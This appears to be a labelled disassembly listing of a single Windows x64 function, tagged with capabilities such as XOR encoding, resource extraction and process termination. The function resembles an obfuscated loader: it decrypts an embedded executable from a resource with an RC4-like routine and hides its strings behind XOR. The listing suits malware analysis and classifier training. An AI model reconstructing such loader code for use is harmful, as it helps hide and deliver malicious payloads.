Function at 0x140007a25
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
test r13b, 0xe2
clc
mov qword [rsp + 0x18], rdi
cmp dx, 0x61da
push rbp
stc
push r12
push r13
push r14
sub bpl, dl
neg bpl
push r15
shrd ebp, esi, 5
lea rbp, [rsp - 0x190]
stc
cmp r13b, 0x78
cmp r10b, r8b
sub rsp, 0x290
xor r9d, r9d
sub r8d, r8d
sub edx, edx
sub ecx, ecx
call qword [sym.imp.USER32.dll_DefWindowProcW]
lea rcx, [rsp + 0x50]
jmp 0x140007a83
mov dword [rsp + 0x50], 8
jmp 0x140007a90
mov dword [rsp + 0x54], 0xc0ff
jmp 0x140007a9d
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
xor ecx, ecx
jmp 0x140007aaa
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movabs r15, 0x85fd75f2e767429b
mov r8b, r13b
setp dh
lea r8, [rsp + 0x20]
mov rdi, rax
cdqe
mov qword [rsp + 0x50], r15
rdtsc
cdq
movabs rax, 0x85af75a2e72e42c1
mov edx, 0x68
movzx cx, cl
mov qword [rsp + 0x20], rax
cdqe
seta cl
cbw
mov rcx, rdi
bswap eax
mov ax, r14w
cmova eax, r11d
movabs rax, 0xad45a237ca5bfd79
jmp 0x140007b0d
mov qword [rsp + 0x28], rax
jmp 0x140007b1b
movabs rax, 0xad45a237ca08fd3c
jmp 0x140007b2a
movdqa xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x58], rax
jmp 0x140007b3a
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jmp 0x140007b57
je 0x140007b85
mov rdx, rax
not ch
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
jmp 0x140007b76
jne 0x140007caa
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movabs rax, 0xdccc26e4beac1086
jmp 0x140007b94
mov qword [rsp + 0x50], r15
cdq
mov qword [rsp + 0x20], rax
mov cx, 0x718f
movsx edx, r15w
lea rdx, [rsp + 0x20]
movsx eax, di
movsxd rcx, r8d
movabs rax, 0x3c8829c0ca287019
movabs rcx, 0xad45a237ca08fd3c
jmp 0x140007bcb
mov qword [rsp + 0x28], rax
movzx eax, dx
cbw
movabs rax, 0x9fde2b91a011fb45
jmp 0x140007be4
movdqa xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movabs rax, 0xb485fb999d2961be
mov qword [rsp + 0x58], rcx
jmp 0x140007c03
pxor xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x38], rax
jmp 0x140007c13
mov qword [rsp + 0x68], rax
jmp 0x140007c1d
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [rsp + 0x30]
lea r8, [0x1400030f0]
rcr ecx, cl
shl cl, 0xd8
cmp al, r13b
movabs rcx, 0x9fdea4ecee1a9ef5
jmp 0x140007c47
sub r9d, r9d
clc
mov qword [rsp + 0x60], rcx
cmp dx, dx
xor ecx, ecx
jmp 0x140007c5a
pxor xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm1
call qword [sym.imp.USER32.dll_MessageBoxW]
lea r11, [rsp + 0x290]
xor eax, eax
mov rbx, qword [r11 + 0x30]
xchg r13w, r14w
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
jmp 0x140007c91
mov rsp, r11
pop r15
pop r14
mov r12b, 0x57
pop r13
movzx bp, bl
pop r12
pop rbp
jmp 0x140007ca9
ret
mov rdx, rbx
bswap rcx
movsx ecx, r10w
movzx cx, sil
mov rcx, rdi
jmp 0x140007cc1
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r13d, eax
clc
test r10, 0x13d71415
cmp dil, 0xf5
test eax, eax
jmp 0x140007cdd
je 0x140007b85
mov r9d, 4
bts r12d, edx
cmp r13w, 0x4c95
cwd
mov r8d, 0x1000
sar r12b, cl
test bpl, r11b
mov edx, r13d
movsx r12d, r8w
clc
and r12d, 0x293e0538
sub ecx, ecx
mov r12d, r13d
jmp 0x140007d1a
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
jmp 0x140007d2b
je 0x140007b85
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, r14
mov ecx, r13d
mov si, 0xc29
bswap si
movzx esi, r9w
mov rsi, rax
jmp 0x140007d53
rep movsb byte [rdi], byte [rsi]
bswap rcx
mov ch, 0x13
movzx cx, r8b
mov rcx, rbx
jmp 0x140007d68
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, 0x5a4d
cmp r11d, r11d
stc
xor ebx, ebx
stc
cmp word [r14], ax
jmp 0x140007d83
je 0x140008053
lea r9d, [rbx + 4]
ror r8b, cl
adc r8w, 0x44dc
mov r8d, 0x1000
or edx, 0x69b45c42
movsxd rdx, ebx
adc rdx, 0x4cb50cb
mov edx, r13d
xor ecx, ecx
jmp 0x140007db6
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
cmc
clc
test rax, rax
jmp 0x140007dc9
je 0x1400081bc
mov dword [rsp + 0x20], 0xe7f10134
movzx rcx, sp
movzx cx, dl
setbe cl
lea rcx, [rbp - 0x70]
mov dword [rsp + 0x24], 0x983e7a39
movzx esi, ax
movsx rsi, cx
mov eax, ebx
xchg sil, sil
jmp 0x140007dff
mov dword [rsp + 0x28], 0xa1c3f0f5
movsx rsi, cx
dec sil
mov esi, 0x100
jmp 0x140007e18
mov byte [rsp + 0x2c], 0x3c
jmp 0x140007e22
nop dword [rax]
jmp 0x140007e2a
mov byte [rcx], al
jmp 0x140007e31
lea rcx, [rcx + 1]
inc eax
cmc
cmp eax, esi
jmp 0x140007e3f
jb 0x140007e2a
mov edi, ebx
and rcx, 0x8fb348b
lea r8, [rbp + 0x90]
bswap ax
nop word [rax + rax]
sal rax, 0xd
sub ah, 0x16
cqo
mov ecx, edi
stc
cbw
lea r8, [r8 + 1]
mov eax, 0x4ec4ec4f
and dx, r12w
mul edi
movsx ax, sil
inc edi
add eax, r13d
inc ah
adc al, bpl
shr edx, 2
cdqe
xadd eax, eax
imul eax, edx, 0xd
cmc
sub ecx, eax
cmp rdi, rdx
movzx ecx, byte [rsp + rcx + 0x20]
cmp r11d, r10d
cmc
mov byte [r8 - 1], cl
cmp edi, esi
jb 0x140007e6c
mov r8d, ebx
sal ah, 0x25
mov rdi, rbx
cwd
nop word [rax + rax]
lahf
movzx edx, dx
movzx edx, byte [rbp + rdi - 0x70]
test dil, bpl
xor ax, dx
cmovbe ax, cx
movzx ecx, byte [rbp + rdi + 0x90]
rol ah, 0x6b
rcr ah, cl
movsx ax, r8b
lea rdi, [rdi + 1]
add ecx, r8d
bsf r8, r15
add ecx, edx
rcr r8b, 0x3f
movzx r8d, cl
lea rcx, [rbp - 0x70]
and ah, 0xd8
xor ah, 0xce
movzx eax, byte [rcx + r8]
stc
mov byte [rbp + rdi - 0x71], al
cmc
stc
clc
mov byte [rcx + r8], dl
stc
cmc
sub rsi, 1
jmp 0x140007f26
jne 0x140007eca
mov r9d, ebx
or r10b, dl
sar r10w, cl
mov r10d, ebx
clc
stc
test r13d, r13d
je 0x140008005
mov rsi, r15
movzx dx, r9b
mov r8, r14
nop dword [rax]
nop word [rax + rax]
sete ah
cwd
lea eax, [r9 + 1]
sar cl, 0xc9
movzx r9d, al
xchg ah, ch
mov edi, 0x1b934096
bsf edx, r10d
lea rdi, [rbp - 0x70]
lea rcx, [rbp - 0x70]
ror edx, cl
rcr rax, cl
shl ax, cl
lea rsi, [rsi + 1]
neg dx
lea r8, [r8 + 1]
cdq
lahf
movzx edx, byte [rdi + r9]
cwde
test r8b, bpl
lea eax, [r10 + rdx]
bts r10d, r14d
movzx r10d, al
movzx eax, byte [rcx + r10]
mov byte [rdi + r9], al
inc ah
movzx eax, bx
mov byte [rcx + r10], dl
sbb al, bpl
movzx ecx, byte [rdi + r9]
bts ax, r13w
cmp r15b, 0x25
lea rcx, [rcx + rdx]
movzx ax, cl
xchg ah, ah
shl al, cl
movzx eax, cl
rol rcx, cl
movzx rcx, r11w
xor cl, cl
movzx ecx, byte [rbp + rax - 0x70]
test bl, r10b
xor cl, byte [r8 - 1]
cmp r14b, 0x5f
mov byte [rsi - 1], cl
cmp r12b, cl
sub r12, 1
jne 0x140007f62
mov eax, 0x5a4d
movsx r8, r15w
sar r8w, 0xcf
shl r8, 0x9b
sub edx, edx
mov r8d, 0x8000
cmp word [r15], ax
jne 0x1400081ae
mov rcx, r14
jmp 0x140008031
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14, r15
cwd
movabs r15, 0x85fd75f2e767429b
cqo
movsx edx, r11w
mov rdx, 0x175c6596
lea rdx, [rbp - 0x78]
movsx ecx, di
mov qword [rbp - 0x78], r14
lea rcx, [rsp + 0x50]
jmp 0x140008068
call fcn.140002230
mov rcx, qword [rbp - 0x78]
movsx dx, r15b
not dl
movzx edx, r12w
lea rdx, [rbp - 0x80]
jmp 0x140008085
mov dword [rbp - 0x80], ebx
jmp 0x14000808d
call fcn.1400072e8
test rax, rax
jmp 0x14000809a
jne 0x14000819c
movabs rax, 0xcb0b1075bb763da1
mov ch, 0x2a
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x20], rax
cdqe
movzx dx, r9b
lea r8, [0x1400030f0]
movzx ecx, sp
mov cl, bpl
cmovae ax, di
movabs rax, 0x2238ec3c41fffd1c
lea rdx, [rsp + 0x20]
movsx cx, ch
movzx ecx, r10w
bswap rcx
mov qword [rsp + 0x28], rax
bswap rcx
not ch
seto ch
movabs rcx, 0xad45a237ca08fd3c
movdqa xmm0, xmmword [rsp + 0x20]
movabs rax, 0x163dd6a48baaf9f5
mov qword [rsp + 0x30], rax
bswap ax
sub r9d, r9d
jmp 0x140008122
mov qword [rsp + 0x58], rcx
movzx ax, r11b
seta al
mov rax, r11
movabs rax, 0xb485aaf1c6a53235
pxor xmm0, xmmword [rsp + 0x50]
movabs rcx, 0x9fdea4ecee1a9ef5
jmp 0x140008151
mov qword [rsp + 0x38], rax
mov al, r11b
movabs rax, 0xb485fb999d2961be
jmp 0x140008168
movdqa xmm1, xmmword [rsp + 0x30]
mov qword [rsp + 0x60], rcx
sub ecx, ecx
jmp 0x14000817a
mov qword [rsp + 0x68], rax
jmp 0x140008184
pxor xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.USER32.dll_MessageBoxW]
sub ecx, ecx
jmp 0x1400081a3
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, r15
jmp 0x1400081b6
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8d, 0x8000
sub edx, edx
mov rcx, r14
jmp 0x1400081cc
call qword [sym.imp.KERNEL32.dll_VirtualFree]
movabs rdx, 0x9b046b539445df90
not cx
mov qword [rbp - 0x78], rbx
mov qword [rsp + 0x48], rdx
movsxd rax, ecx
mov ax, r15w
sete ch
movabs rax, 0xdccc26e4beac1086
mov cl, 0xc9
mov qword [rsp + 0x20], rax
cwde
movzx ax, dil
movabs rcx, 0xad45a237ca08fd3c
movabs rax, 0xfc3629c0ca287019
jmp 0x140008222
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x28], rax
movsx rdx, r13w
setg dl
lea rdx, [rsp + 0x20]
jmp 0x14000823d
movdqa xmm0, xmmword [rsp + 0x20]
movabs rax, 0xe13cf3e895a0b18
jmp 0x140008252
mov qword [rsp + 0x30], rax
sets ah
movsx eax, dx
movabs rax, 0x3f50aa14c9273591
jmp 0x14000826c
mov qword [rsp + 0x38], rax
movabs rax, 0xf98e874ebe929f6b
jmp 0x140008280
mov qword [rsp + 0x40], rax
mov rax, 0x6e960fa6
movsx eax, r15w
jmp 0x140008295
movabs rax, 0x85fd75f2e767429b
jmp 0x1400082a4
mov qword [rsp + 0x50], rax
movabs rax, 0xb485fb999d2961be
jmp 0x1400082b8
mov qword [rsp + 0x58], rcx
jmp 0x1400082c2
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x68], rax
movabs rax, 0xf98e874ebe929f5f
jmp 0x1400082e8
mov qword [rsp + 0x70], rax
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x40], xmm0
jmp 0x140007c23